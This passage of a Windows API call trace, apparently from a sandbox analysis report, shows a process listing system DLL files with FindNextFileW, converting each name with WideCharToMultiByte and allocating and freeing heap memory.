cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0xd5c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.194] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0xd5c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.195] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0xd5c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.195] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0xd5c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.195] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0xd5c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0173.195] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.195] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.196] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0xd5c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.196] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0xd5c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.196] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.196] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.196] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.196] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0xd5c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.197] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0xd5c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.197] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0xd5c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.197] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.197] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0xd5c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0173.197] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.198] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0xd5c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.198] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0xd5c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0173.198] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.198] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.198] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, 